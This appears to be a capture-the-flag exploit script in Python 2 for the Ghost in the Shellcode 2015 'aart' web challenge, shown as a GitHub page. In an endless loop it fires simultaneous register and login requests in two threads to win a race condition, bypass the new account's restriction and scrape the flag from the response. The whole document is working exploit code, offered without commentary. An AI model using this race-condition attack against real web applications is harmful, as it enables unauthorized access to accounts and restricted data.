Permalink
Cannot retrieve contributors at this time
#!/usr/bin/env python | |
import requests | |
import string | |
import re | |
import random | |
import threading | |
url_register = "http://aart.2015.ghostintheshellcode.com/register.php" | |
url_login = "http://aart.2015.ghostintheshellcode.com/login.php" | |
def register(data): | |
requests.post(url_register, data=data) | |
def login(data): | |
c = requests.post(url_login, data=data).content | |
flag = re.findall(r"<h2>(.*)</h2>\s+<h2>", c, re.DOTALL) | |
if len(flag) > 0 and not "restricted" in flag[0]: | |
print "[*] flag: '" + flag[0] + "'" | |
else: | |
print "[x] fail" | |
while True: | |
# Generate random username | |
username = ''.join(random.choice(string.ascii_letters) for _ in range(100)) | |
password = '123' | |
# register and login | |
data = { 'username' : username, 'password' : password } | |
t1 = threading.Thread(target=register, args=(data,)) | |
t2 = threading.Thread(target=login, args=(data,)) | |
t1.start() | |
t2.start() | |
t1.join() | |
t2.join() |